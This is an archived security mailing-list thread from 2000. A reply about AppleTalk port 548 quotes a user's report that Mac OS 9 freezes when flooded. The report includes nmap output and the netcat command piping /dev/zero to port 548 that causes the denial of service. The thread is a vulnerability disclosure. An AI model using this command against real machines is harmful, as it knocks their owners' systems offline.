OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
Subject: Re: Apple Mac DoS
From: 3APA3A (3APA3ASECURITY.NNOV.RU)
Date: Thu Dec 14 2000 - 10:39:08 CST

Hello The Q,

OK, I never deal close to Mac too, but according to

http://advice.networkice.com/advice/Exploits/Ports/548/default.htm

"Port 548 AFP AppleTalk file sharing protocol runs on this port. It is
equivelent to port 139 in Windows".

Nice Apple ports descrition can be found on the same site on
http://advice.networkice.com/advice/Exploits/Ports/groups/Apple/default.htm

13.12.00 12:54, you wrote: Apple Mac DoS;

T> I have noticed some unusual behaviour with Mac OS 9
T> I am not a Mac user so I apologize if this is a known bug

T> I have checked the archives and generally on the Net and can find no
T> mention of this effect

T> any way a bit of background...

T> I was nmaping a mac (running os 9) to see if I could diagnose why a smb
T> connection couldn't be established. Not being familiar with mac os (at all)
T> I telnetted to the open ports and didn't get a lot.

T> erm...

T> then decided to try a netcat to each port.... (don't ask why)

T> well to cut a long story short it causes a MASSIVE DoS on the mac if you
T> net cat /dev/zero to port 548 tcp. The Machine needs a reset before it will
T> respond. Surely this can't be right?

T> the details

T> - Ports open are

T> testhosttesthost ]$ nmap 192.168.1.96 ## IP of a mac boxen

T> Starting nmap V. 2.53 by fyodorinsecure.org ( www.insecure.org/nmap/ )
T> Interesting ports on (192.168.1.96):
T> (The 1521 ports scanned but not shown below are in state: closed)
T> Port State Service
T> 427/tcp open svrloc
T> 548/tcp open afpovertcp

T> Nmap run completed -- 1 IP address (1 host up) scanned in 8 seconds

T> to cause the DoS

T> testhosttesthost ]$./nc -v 192.168.1.96 548 < /dev/zero

T> caused massive DoS - mouse nonfunctional (important on a mac :o)

T> of course when you stop the netcat the mac returns to normal after 10-20
T> secs

T> _____________________________________________________________________________________
T> Get more from the Web. FREE MSN Explorer download : http://explorer.msn.com